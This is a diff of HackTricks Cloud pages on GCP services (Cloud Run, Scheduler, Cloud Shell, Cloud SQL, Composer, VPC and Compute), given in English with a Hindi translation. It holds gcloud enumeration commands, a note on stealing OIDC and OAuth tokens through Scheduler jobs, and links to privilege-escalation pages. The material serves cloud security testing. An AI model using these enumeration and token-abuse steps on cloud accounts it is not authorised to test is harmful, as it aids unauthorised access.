||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Access
|
||||
### अनधिकृत पहुँच
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-functions-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,36 +4,35 @@
|
||||
|
||||
## Cloud Run <a href="#reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
|
||||
|
||||
Cloud Run is a serverless managed compute platform that lets you **run containers** directly on top of Google's scalable infrastructure.
|
||||
Cloud Run एक सर्वरलेस प्रबंधित कंप्यूट प्लेटफ़ॉर्म है जो आपको **कंटेनर** को सीधे Google के स्केलेबल इन्फ्रास्ट्रक्चर पर चलाने की अनुमति देता है।
|
||||
|
||||
You can run your container or If you're using Go, Node.js, Python, Java, .NET Core, or Ruby, you can use the [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) option that **builds the container for you.**
|
||||
आप अपने कंटेनर को चला सकते हैं या यदि आप Go, Node.js, Python, Java, .NET Core, या Ruby का उपयोग कर रहे हैं, तो आप [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) विकल्प का उपयोग कर सकते हैं जो **आपके लिए कंटेनर बनाता है।**
|
||||
|
||||
Google has built Cloud Run to **work well together with other services on Google Cloud**, so you can build full-featured applications.
|
||||
Google ने Cloud Run को **अन्य सेवाओं के साथ अच्छी तरह से काम करने के लिए बनाया है जो Google Cloud पर हैं**, ताकि आप पूर्ण विशेषताओं वाले अनुप्रयोग बना सकें।
|
||||
|
||||
### Services and jobs <a href="#services-and-jobs" id="services-and-jobs"></a>
|
||||
|
||||
On Cloud Run, your code can either run continuously as a _**service**_ or as a _**job**_. Both services and jobs run in the same environment and can use the same integrations with other services on Google Cloud.
|
||||
Cloud Run पर, आपका कोड या तो एक _**सेवा**_ के रूप में लगातार चल सकता है या एक _**नौकरी**_ के रूप में। दोनों सेवाएँ और नौकरियाँ एक ही वातावरण में चलती हैं और Google Cloud पर अन्य सेवाओं के साथ समान एकीकरण का उपयोग कर सकती हैं।
|
||||
|
||||
- **Cloud Run services.** Used to run code that responds to web requests, or events.
|
||||
- **Cloud Run jobs.** Used to run code that performs work (a job) and quits when the work is done.
|
||||
- **Cloud Run सेवाएँ।** वे कोड चलाने के लिए उपयोग की जाती हैं जो वेब अनुरोधों या घटनाओं का उत्तर देती हैं।
|
||||
- **Cloud Run नौकरियाँ।** वे कोड चलाने के लिए उपयोग की जाती हैं जो कार्य (एक नौकरी) करती हैं और जब कार्य पूरा हो जाता है तो समाप्त हो जाती हैं।
|
||||
|
||||
## Cloud Run Service
|
||||
|
||||
Google [Cloud Run](https://cloud.google.com/run) is another serverless offer where you can search for env variables also. Cloud Run creates a small web server, running on port 8080 inside the container by default, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response.
|
||||
Google [Cloud Run](https://cloud.google.com/run) एक और सर्वरलेस पेशकश है जहाँ आप env variables के लिए भी खोज कर सकते हैं। Cloud Run एक छोटा वेब सर्वर बनाता है, जो डिफ़ॉल्ट रूप से कंटेनर के अंदर पोर्ट 8080 पर चल रहा है, जो HTTP GET अनुरोध की प्रतीक्षा करता है। जब अनुरोध प्राप्त होता है, तो एक नौकरी निष्पादित होती है और नौकरी का लॉग HTTP प्रतिक्रिया के माध्यम से आउटपुट होता है।
|
||||
|
||||
### Relevant details
|
||||
|
||||
- By **default**, the **access** to the web server is **public**, but it can also be **limited to internal traffic** (VPC...)\
|
||||
Moreover, the **authentication** to contact the web server can be **allowing all** or to **require authentication via IAM**.
|
||||
- By default, the **encryption** uses a **Google managed key**, but a **CMEK** (Customer Managed Encryption Key) from **KMS** can also be **chosen**.
|
||||
- By **default**, the **service account** used is the **Compute Engine default one** which has **Editor** access over the project and it has the **scope `cloud-platform`.**
|
||||
- It's possible to define **clear-text environment variables** for the execution, and even **mount cloud secrets** or **add cloud secrets to environment variables.**
|
||||
- It's also possible to **add connections with Cloud SQL** and **mount a file system.**
|
||||
- The **URLs** of the services deployed are similar to **`https://<svc-name>-<random>.a.run.app`**
|
||||
- A Run Service can have **more than 1 version or revision**, and **split traffic** among several revisions.
|
||||
- **डिफ़ॉल्ट** के अनुसार, वेब सर्वर तक **पहुँच** **सार्वजनिक** है, लेकिन इसे **आंतरिक ट्रैफ़िक** (VPC...) तक भी **सीमित** किया जा सकता है।\
|
||||
इसके अलावा, वेब सर्वर से संपर्क करने के लिए **प्रमाणीकरण** **सभी को अनुमति देने** या **IAM के माध्यम से प्रमाणीकरण की आवश्यकता** कर सकता है।
|
||||
- डिफ़ॉल्ट रूप से, **एन्क्रिप्शन** एक **Google प्रबंधित कुंजी** का उपयोग करता है, लेकिन एक **CMEK** (Customer Managed Encryption Key) **KMS** से भी **चुना** जा सकता है।
|
||||
- **डिफ़ॉल्ट** के अनुसार, उपयोग की जाने वाली **सेवा खाता** **Compute Engine का डिफ़ॉल्ट** है जिसमें परियोजना पर **Editor** पहुँच है और इसका **scope `cloud-platform`.**
|
||||
- निष्पादन के लिए **स्पष्ट-पाठ पर्यावरण चर** को परिभाषित करना संभव है, और यहां तक कि **क्लाउड सीक्रेट्स को माउंट** करना या **पर्यावरण चर में क्लाउड सीक्रेट्स जोड़ना** भी संभव है।
|
||||
- **Cloud SQL** के साथ **कनेक्शन जोड़ना** और **फाइल सिस्टम माउंट करना** भी संभव है।
|
||||
- तैनात सेवाओं के **URLs** **`https://<svc-name>-<random>.a.run.app`** के समान होते हैं।
|
||||
- एक Run Service में **1 से अधिक संस्करण या संशोधन** हो सकते हैं, और **कई संशोधनों के बीच ट्रैफ़िक विभाजित** किया जा सकता है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List services
|
||||
gcloud run services list
|
||||
@@ -65,51 +64,44 @@ curl <url>
|
||||
# Attempt to trigger a job with your current gcloud authorization
|
||||
curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <url>
|
||||
```
|
||||
|
||||
## Cloud Run Jobs
|
||||
|
||||
Cloud Run jobs are be a better fit for **containers that run to completion and don't serve requests**. Jobs don't have the ability to serve requests or listen on a port. This means that unlike Cloud Run services, jobs should not bundle a web server. Instead, jobs containers should exit when they are done.
|
||||
Cloud Run jobs **उन कंटेनरों के लिए बेहतर होते हैं जो पूर्णता तक चलते हैं और अनुरोधों की सेवा नहीं करते**। Jobs में अनुरोधों की सेवा करने या किसी पोर्ट पर सुनने की क्षमता नहीं होती। इसका मतलब है कि Cloud Run सेवाओं के विपरीत, jobs को एक वेब सर्वर को बंडल नहीं करना चाहिए। इसके बजाय, jobs कंटेनरों को समाप्त हो जाना चाहिए जब वे समाप्त हो जाएं।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs list
|
||||
gcloud beta run jobs describe --region <region> <job-name>
|
||||
gcloud beta run jobs get-iam-policy --region <region> <job-name>
|
||||
```
|
||||
## विशेषाधिकार वृद्धि
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
In the following page, you can check how to **abuse cloud run permissions to escalate privileges**:
|
||||
अगली पृष्ठ पर, आप देख सकते हैं कि **विशेषाधिकार बढ़ाने के लिए क्लाउड रन अनुमतियों का कैसे दुरुपयोग करें**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-run-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Access
|
||||
## बिना प्रमाणीकरण के पहुंच
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-run-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/run/docs/overview/what-is-cloud-run](https://cloud.google.com/run/docs/overview/what-is-cloud-run)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,30 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Scheduler is a fully managed **cron job service** that allows you to run arbitrary jobs—such as batch, big data jobs, cloud infrastructure operations—at fixed times, dates, or intervals. It is integrated with Google Cloud services, providing a way to **automate various tasks like updates or batch processing on a regular schedule**.
|
||||
Google Cloud Scheduler एक पूरी तरह से प्रबंधित **cron job service** है जो आपको मनचाहे कार्य—जैसे बैच, बड़े डेटा कार्य, क्लाउड अवसंरचना संचालन—को निश्चित समय, तारीखों या अंतराल पर चलाने की अनुमति देती है। यह Google Cloud सेवाओं के साथ एकीकृत है, जो **नियमित अनुसूची पर अपडेट या बैच प्रोसेसिंग जैसे विभिन्न कार्यों को स्वचालित करने का एक तरीका प्रदान करता है**।
|
||||
|
||||
Although from an offensive point of view this sounds amazing, it actually isn't that interesting because the service just allow to schedule certain simple actions at a certain time and not to execute arbitrary code.
|
||||
हालांकि एक आक्रामक दृष्टिकोण से यह अद्भुत लगता है, यह वास्तव में इतना दिलचस्प नहीं है क्योंकि सेवा केवल निश्चित समय पर कुछ सरल क्रियाओं को अनुसूचित करने की अनुमति देती है और मनचाहा कोड निष्पादित करने की नहीं।
|
||||
|
||||
At the moment of this writing these are the actions this service allows to schedule:
|
||||
इस लेखन के समय ये क्रियाएँ हैं जिन्हें यह सेवा अनुसूचित करने की अनुमति देती है:
|
||||
|
||||
<figure><img src="../../../images/image (347).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
- **HTTP**: Send an HTTP request defining the headers and body of the request.
|
||||
- **Pub/Sub**: Send a message into an specific topic
|
||||
- **App Engine HTTP**: Send an HTTP request to an app built in App Engine
|
||||
- **Workflows**: Call a GCP Workflow.
|
||||
- **HTTP**: अनुरोध के हेडर और बॉडी को परिभाषित करते हुए एक HTTP अनुरोध भेजें।
|
||||
- **Pub/Sub**: एक विशिष्ट विषय में एक संदेश भेजें।
|
||||
- **App Engine HTTP**: App Engine में निर्मित ऐप को एक HTTP अनुरोध भेजें।
|
||||
- **Workflows**: एक GCP Workflow को कॉल करें।
|
||||
|
||||
## Service Accounts
|
||||
|
||||
A service account is not always required by each scheduler. The **Pub/Sub** and **App Engine HTTP** types don't require any service account. The **Workflow** does require a service account, but it'll just invoke the workflow.\
|
||||
Finally, the regular HTTP type doesn't require a service account, but it's possible to indicate that some kind of auth is required by the workflow and add either an **OAuth token or an OIDC token to the sent** HTTP request.
|
||||
प्रत्येक शेड्यूलर द्वारा हमेशा एक सेवा खाता आवश्यक नहीं होता है। **Pub/Sub** और **App Engine HTTP** प्रकारों को किसी सेवा खाते की आवश्यकता नहीं होती है। **Workflow** को एक सेवा खाते की आवश्यकता होती है, लेकिन यह केवल वर्कफ़्लो को सक्रिय करेगा।\
|
||||
अंत में, नियमित HTTP प्रकार को सेवा खाते की आवश्यकता नहीं होती है, लेकिन यह संभव है कि वर्कफ़्लो द्वारा किसी प्रकार के प्रमाणीकरण की आवश्यकता है और भेजे गए HTTP अनुरोध में **OAuth टोकन या OIDC टोकन** जोड़ा जाए।
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to steal the **OIDC** token and abuse the **OAuth** token from service accounts **abusing the HTTP type**. More on this in the privilege escalation page.
|
||||
> इसलिए, सेवा खातों से **HTTP प्रकार** का दुरुपयोग करके **OIDC** टोकन चुराना और **OAuth** टोकन का दुरुपयोग करना संभव है। इस पर अधिक जानकारी विशेषाधिकार वृद्धि पृष्ठ पर है।
|
||||
|
||||
Note that it's possible to limit the scope of the OAuth token sent, however, by default, it'll be `cloud-platform`.
|
||||
ध्यान दें कि भेजे गए OAuth टोकन के दायरे को सीमित करना संभव है, हालांकि, डिफ़ॉल्ट रूप से, यह `cloud-platform` होगा।
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# Get schedulers in a location
|
||||
gcloud scheduler jobs list --location us-central1
|
||||
@@ -36,15 +35,10 @@ gcloud scheduler jobs list --location us-central1
|
||||
# Get information of an specific scheduler
|
||||
gcloud scheduler jobs describe --location us-central1 <scheduler-name>
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
## विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Shell is an interactive shell environment for Google Cloud Platform (GCP) that provides you with **command-line access to your GCP resources directly from your browser or shell**. It's a managed service provided by Google, and it comes with a **pre-installed set of tools**, making it easier to manage your GCP resources without having to install and configure these tools on your local machine.\
|
||||
Moreover, its offered at **no additional cost.**
|
||||
Google Cloud Shell एक इंटरएक्टिव शेल वातावरण है Google Cloud Platform (GCP) के लिए जो आपको **अपने ब्राउज़र या शेल से सीधे अपने GCP संसाधनों तक कमांड-लाइन पहुंच** प्रदान करता है। यह Google द्वारा प्रदान की गई एक प्रबंधित सेवा है, और इसमें **पूर्व-स्थापित उपकरणों का एक सेट** शामिल है, जिससे आपको अपने GCP संसाधनों का प्रबंधन करना आसान हो जाता है बिना इन उपकरणों को अपने स्थानीय मशीन पर स्थापित और कॉन्फ़िगर किए।\
|
||||
इसके अलावा, यह **कोई अतिरिक्त लागत** पर उपलब्ध है।
|
||||
|
||||
**Any user of the organization** (Workspace) is able to execute **`gcloud cloud-shell ssh`** and get access to his **cloudshell** environment. However, **Service Accounts can't**, even if they are owner of the organization.
|
||||
**संगठन का कोई भी उपयोगकर्ता** (Workspace) **`gcloud cloud-shell ssh`** निष्पादित कर सकता है और अपने **cloudshell** वातावरण तक पहुंच प्राप्त कर सकता है। हालाँकि, **सेवा खाते नहीं कर सकते**, भले ही वे संगठन के मालिक हों।
|
||||
|
||||
There **aren't** **permissions** assigned to this service, therefore the **aren't privilege escalation techniques**. Also there **isn't any kind of enumeration**.
|
||||
इस सेवा को **कोई अनुमति** नहीं दी गई है, इसलिए **कोई विशेषाधिकार वृद्धि तकनीकें नहीं हैं**। इसके अलावा, **कोई प्रकार की गणना** भी नहीं है।
|
||||
|
||||
Note that Cloud Shell can be **easily disabled** for the organization.
|
||||
ध्यान दें कि Cloud Shell को संगठन के लिए **आसान तरीके से बंद** किया जा सकता है।
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
@@ -26,7 +26,3 @@ Note that Cloud Shell can be **easily disabled** for the organization.
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,53 +4,52 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud SQL is a managed service that **simplifies setting up, maintaining, and administering relational databases** like MySQL, PostgreSQL, and SQL Server on Google Cloud Platform, removing the need to handle tasks like hardware provisioning, database setup, patching, and backups.
|
||||
Google Cloud SQL एक प्रबंधित सेवा है जो **रिलेशनल डेटाबेस** जैसे MySQL, PostgreSQL, और SQL Server को Google Cloud Platform पर सेटअप, बनाए रखने और प्रबंधित करने को **सरल बनाती है**, जिससे हार्डवेयर प्रोविजनिंग, डेटाबेस सेटअप, पैचिंग, और बैकअप जैसे कार्यों को संभालने की आवश्यकता समाप्त हो जाती है।
|
||||
|
||||
Key features of Google Cloud SQL include:
|
||||
Google Cloud SQL की प्रमुख विशेषताएँ हैं:
|
||||
|
||||
1. **Fully Managed**: Google Cloud SQL is a fully-managed service, meaning that Google handles database maintenance tasks like patching, updates, backups, and configuration.
|
||||
2. **Scalability**: It provides the ability to scale your database's storage capacity and compute resources, often without downtime.
|
||||
3. **High Availability**: Offers high availability configurations, ensuring your database services are reliable and can withstand zone or instance failures.
|
||||
4. **Security**: Provides robust security features like data encryption, Identity and Access Management (IAM) controls, and network isolation using private IPs and VPC.
|
||||
5. **Backups and Recovery**: Supports automatic backups and point-in-time recovery, helping you safeguard and restore your data.
|
||||
6. **Integration**: Seamlessly integrates with other Google Cloud services, providing a comprehensive solution for building, deploying, and managing applications.
|
||||
7. **Performance**: Offers performance metrics and diagnostics to monitor, troubleshoot, and improve database performance.
|
||||
1. **पूर्ण रूप से प्रबंधित**: Google Cloud SQL एक पूर्ण रूप से प्रबंधित सेवा है, जिसका अर्थ है कि Google डेटाबेस रखरखाव कार्यों जैसे पैचिंग, अपडेट, बैकअप, और कॉन्फ़िगरेशन को संभालता है।
|
||||
2. **स्केलेबिलिटी**: यह आपके डेटाबेस की स्टोरेज क्षमता और कंप्यूट संसाधनों को स्केल करने की क्षमता प्रदान करता है, अक्सर बिना डाउनटाइम के।
|
||||
3. **उच्च उपलब्धता**: उच्च उपलब्धता कॉन्फ़िगरेशन प्रदान करता है, यह सुनिश्चित करते हुए कि आपकी डेटाबेस सेवाएँ विश्वसनीय हैं और ज़ोन या इंस्टेंस विफलताओं का सामना कर सकती हैं।
|
||||
4. **सुरक्षा**: डेटा एन्क्रिप्शन, पहचान और पहुंच प्रबंधन (IAM) नियंत्रण, और निजी आईपी और VPC का उपयोग करके नेटवर्क अलगाव जैसी मजबूत सुरक्षा सुविधाएँ प्रदान करता है।
|
||||
5. **बैकअप और पुनर्प्राप्ति**: स्वचालित बैकअप और समय-विशिष्ट पुनर्प्राप्ति का समर्थन करता है, जिससे आप अपने डेटा की सुरक्षा और पुनर्स्थापना कर सकते हैं।
|
||||
6. **एकीकरण**: अन्य Google Cloud सेवाओं के साथ निर्बाध रूप से एकीकृत होता है, अनुप्रयोगों को बनाने, तैनात करने और प्रबंधित करने के लिए एक व्यापक समाधान प्रदान करता है।
|
||||
7. **प्रदर्शन**: डेटाबेस प्रदर्शन की निगरानी, समस्या निवारण, और सुधार के लिए प्रदर्शन मैट्रिक्स और डायग्नोस्टिक्स प्रदान करता है।
|
||||
|
||||
### Password
|
||||
|
||||
In the web console Cloud SQL allows the user to **set** the **password** of the database, there also a generate feature, but most importantly, **MySQL** allows to **leave an empty password and all of them allows to set as password just the char "a":**
|
||||
वेब कंसोल में Cloud SQL उपयोगकर्ता को डेटाबेस का **पासवर्ड** **सेट** करने की अनुमति देता है, वहाँ एक जनरेट फीचर भी है, लेकिन सबसे महत्वपूर्ण बात यह है कि **MySQL** **खाली पासवर्ड छोड़ने** की अनुमति देता है और सभी को पासवर्ड के रूप में केवल "a" वर्ण सेट करने की अनुमति है:
|
||||
|
||||
<figure><img src="../../../images/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible to configure a password policy requiring **length**, **complexity**, **disabling reuse** and **disabling username in password**. All are disabled by default.
|
||||
यह एक पासवर्ड नीति को कॉन्फ़िगर करना भी संभव है जो **लंबाई**, **जटिलता**, **पुन: उपयोग को निष्क्रिय करना** और **पासवर्ड में उपयोगकर्ता नाम को निष्क्रिय करना** की आवश्यकता रखती है। सभी डिफ़ॉल्ट रूप से निष्क्रिय होते हैं।
|
||||
|
||||
**SQL Server** can be configured with **Active Directory Authentication**.
|
||||
**SQL Server** को **एक्टिव डायरेक्टरी प्रमाणीकरण** के साथ कॉन्फ़िगर किया जा सकता है।
|
||||
|
||||
### Zone Availability
|
||||
|
||||
The database can be **available in 1 zone or in multiple**, of course, it's recommended to have important databases in multiple zones.
|
||||
डेटाबेस **1 ज़ोन में या कई में उपलब्ध** हो सकता है, निश्चित रूप से, महत्वपूर्ण डेटाबेस को कई ज़ोन में रखना अनुशंसित है।
|
||||
|
||||
### Encryption
|
||||
|
||||
By default a Google-managed encryption key is used, but it's also **possible to select a Customer-managed encryption key (CMEK)**.
|
||||
डिफ़ॉल्ट रूप से एक Google-प्रबंधित एन्क्रिप्शन कुंजी का उपयोग किया जाता है, लेकिन **ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK)** का चयन करना भी **संभव है**।
|
||||
|
||||
### Connections
|
||||
|
||||
- **Private IP**: Indicate the VPC network and the database will get an private IP inside the network
|
||||
- **Public IP**: The database will get a public IP, but by default no-one will be able to connect
|
||||
- **Authorized networks**: Indicate public **IP ranges that should be allowed** to connect to the database
|
||||
- **Private Path**: If the DB is connected in some VPC, it's possible to enable this option and give **other GCP services like BigQuery access over it**
|
||||
- **Private IP**: VPC नेटवर्क को इंगित करें और डेटाबेस को नेटवर्क के अंदर एक निजी आईपी मिलेगा
|
||||
- **Public IP**: डेटाबेस को एक सार्वजनिक आईपी मिलेगा, लेकिन डिफ़ॉल्ट रूप से कोई भी कनेक्ट नहीं कर सकेगा
|
||||
- **Authorized networks**: सार्वजनिक **IP रेंज को इंगित करें जो डेटाबेस से कनेक्ट करने की अनुमति होनी चाहिए**
|
||||
- **Private Path**: यदि DB किसी VPC में कनेक्ट है, तो इस विकल्प को सक्षम करना संभव है और **अन्य GCP सेवाओं जैसे BigQuery को इसके माध्यम से पहुंच प्रदान करना**
|
||||
|
||||
<figure><img src="../../../images/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Data Protection
|
||||
|
||||
- **Daily backups**: Perform automatic daily backups and indicate the number of backups you want to maintain.
|
||||
- **Point-in-time recovery**: Allows you to recover data from a specific point in time, down to a fraction of a second.
|
||||
- **Deletion Protection**: If enabled, the DB won't be able to be deleted until this feature is disabled
|
||||
- **Daily backups**: स्वचालित दैनिक बैकअप करें और आप कितने बैकअप बनाए रखना चाहते हैं, यह इंगित करें।
|
||||
- **Point-in-time recovery**: आपको एक विशिष्ट समय से डेटा पुनर्प्राप्त करने की अनुमति देता है, एक सेकंड के अंश तक।
|
||||
- **Deletion Protection**: यदि सक्षम किया गया, तो DB को तब तक हटाया नहीं जा सकेगा जब तक कि यह सुविधा निष्क्रिय न हो जाए।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get SQL instances
|
||||
gcloud sql instances list
|
||||
@@ -67,27 +66,22 @@ gcloud sql users list --instance <intance-name>
|
||||
gcloud sql backups list --instance <intance-name>
|
||||
gcloud sql backups describe <backup-name> --instance <intance-name>
|
||||
```
|
||||
|
||||
### Unauthenticated Enum
|
||||
### अनधिकृत Enum
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-cloud-sql-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Google Cloud Composer** is a fully managed **workflow orchestration service** built on **Apache Airflow**. It enables you to author, schedule, and monitor pipelines that span across clouds and on-premises data centers. With GCP Composer, you can easily integrate your workflows with other Google Cloud services, facilitating efficient data integration and analysis tasks. This service is designed to simplify the complexity of managing cloud-based data workflows, making it a valuable tool for data engineers and developers handling large-scale data processing tasks.
|
||||
**Google Cloud Composer** एक पूरी तरह से प्रबंधित **वर्कफ़्लो ऑर्केस्ट्रेशन सेवा** है जो **Apache Airflow** पर आधारित है। यह आपको क्लाउड और ऑन-प्रिमाइसेस डेटा सेंटर के बीच फैले पाइपलाइनों को लिखने, शेड्यूल करने और मॉनिटर करने की अनुमति देता है। GCP Composer के साथ, आप अपने वर्कफ़्लो को अन्य Google Cloud सेवाओं के साथ आसानी से एकीकृत कर सकते हैं, जिससे डेटा एकीकरण और विश्लेषण कार्यों में दक्षता बढ़ती है। यह सेवा क्लाउड-आधारित डेटा वर्कफ़्लो प्रबंधन की जटिलता को सरल बनाने के लिए डिज़ाइन की गई है, जिससे यह डेटा इंजीनियरों और बड़े पैमाने पर डेटा प्रोसेसिंग कार्यों को संभालने वाले डेवलपर्स के लिए एक मूल्यवान उपकरण बन जाती है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get envs info
|
||||
gcloud composer environments list --locations <loc>
|
||||
@@ -31,17 +30,12 @@ gcloud composer environments storage plugins list --environment <environment> --
|
||||
mkdir /tmp/plugins
|
||||
gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/plugins
|
||||
```
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse composer permissions to escalate privileges**:
|
||||
इस पृष्ठ पर आप देख सकते हैं कि **कंपोज़र अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-composer-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+44
-66
@@ -4,14 +4,13 @@
|
||||
|
||||
## GCP VPC & Networking
|
||||
|
||||
Learn about how this works in:
|
||||
इस बारे में जानें कि यह कैसे काम करता है:
|
||||
|
||||
{{#ref}}
|
||||
gcp-vpc-and-networking.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List networks
|
||||
gcloud compute networks list
|
||||
@@ -24,20 +23,20 @@ gcloud compute networks subnets describe <name> --region <region>
|
||||
|
||||
# List FW rules in networks
|
||||
gcloud compute firewall-rules list --format="table(
|
||||
name,
|
||||
network,
|
||||
direction,
|
||||
priority,
|
||||
sourceRanges.list():label=SRC_RANGES,
|
||||
destinationRanges.list():label=DEST_RANGES,
|
||||
allowed[].map().firewall_rule().list():label=ALLOW,
|
||||
denied[].map().firewall_rule().list():label=DENY,
|
||||
sourceTags.list():label=SRC_TAGS,
|
||||
sourceServiceAccounts.list():label=SRC_SVC_ACCT,
|
||||
targetTags.list():label=TARGET_TAGS,
|
||||
targetServiceAccounts.list():label=TARGET_SVC_ACCT,
|
||||
disabled
|
||||
)"
|
||||
name,
|
||||
network,
|
||||
direction,
|
||||
priority,
|
||||
sourceRanges.list():label=SRC_RANGES,
|
||||
destinationRanges.list():label=DEST_RANGES,
|
||||
allowed[].map().firewall_rule().list():label=ALLOW,
|
||||
denied[].map().firewall_rule().list():label=DENY,
|
||||
sourceTags.list():label=SRC_TAGS,
|
||||
sourceServiceAccounts.list():label=SRC_SVC_ACCT,
|
||||
targetTags.list():label=TARGET_TAGS,
|
||||
targetServiceAccounts.list():label=TARGET_SVC_ACCT,
|
||||
disabled
|
||||
)"
|
||||
|
||||
# List Hierarchical Firewalls
|
||||
gcloud compute firewall-policies list (--folder <value>| --organization <value>)
|
||||
@@ -49,19 +48,17 @@ gcloud compute network-firewall-policies list
|
||||
## Get final FWs applied in a region
|
||||
gcloud compute network-firewall-policies get-effective-firewalls --network=<vpc_name> --region <region>
|
||||
```
|
||||
आप आसानी से खुले फ़ायरवॉल नियमों के साथ कंप्यूट इंस्टेंस ढूंढ सकते हैं [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)
|
||||
|
||||
You easily find compute instances with open firewall rules with [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)
|
||||
## कंप्यूट इंस्टेंस
|
||||
|
||||
## Compute instances
|
||||
|
||||
This is the way you can **run virtual machines inside GCP.** Check this page for more information:
|
||||
यह वह तरीका है जिससे आप **GCP के अंदर वर्चुअल मशीनें चला सकते हैं।** अधिक जानकारी के लिए इस पृष्ठ की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-compute-instance.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### एन्यूमरेशन
|
||||
```bash
|
||||
# Get list of zones
|
||||
# It's interesting to know which zones are being used
|
||||
@@ -80,7 +77,6 @@ gcloud compute disks list
|
||||
gcloud compute disks describe <disk>
|
||||
gcloud compute disks get-iam-policy <disk>
|
||||
```
|
||||
|
||||
For more information about how to **SSH** or **modify the metadata** of an instance to **escalate privileges,** check this page:
|
||||
|
||||
{{#ref}}
|
||||
@@ -115,44 +111,39 @@ In the following page, you can check how to **abuse compute permissions to escal
|
||||
|
||||
## Serial Console Logs
|
